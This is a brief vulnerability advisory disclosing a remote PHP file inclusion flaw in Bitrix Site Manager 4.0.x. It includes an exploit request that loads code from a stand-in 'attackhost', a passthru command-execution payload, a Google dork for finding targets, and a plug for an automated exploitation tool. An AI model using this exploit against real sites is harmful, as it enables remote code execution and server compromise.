Vulnerability: Bitrix Php inclusion

Vendor: Bitrix
Product: Bitrix Site Manager 4.0.x

Vulnerability: php including.
Consequence: custom php code execution on server
Risk: Critical

Description:
Due to unfiltered _SERVER[DOCUMENT_ROOT] variable in file “\bitrix\modules\main\start.php”,
hacker can upload php script from other server and execute custom php code on webserver
Send transaction to the server.

Script Example:
<?php
passthru('ls -la');
?>

Transaction should look like http://vilcum/bitrix/admin/index.php?_SERVER[DOCUMENT_ROOT]=http://attackhost/
“attackhost” server should contain dbconn.php script in /bitrix/php_interface/ ,
that should be executet on the target server.

Google search: inurl: /bitrix/

Discoveried By D_BuG d_bug_at_bk.ru
NemesisSecurityTeam
http://nemesisoftware.com/

CheckZond free v. 1.0 http://nemesisoftware.com/products.htm
uses the vulnerabilities above for automatic vulnerabilities search (Google Hacking technique) and usage.

-- 
Best regards,
 D_BuG                          mailto:d_bug_at_bk.ru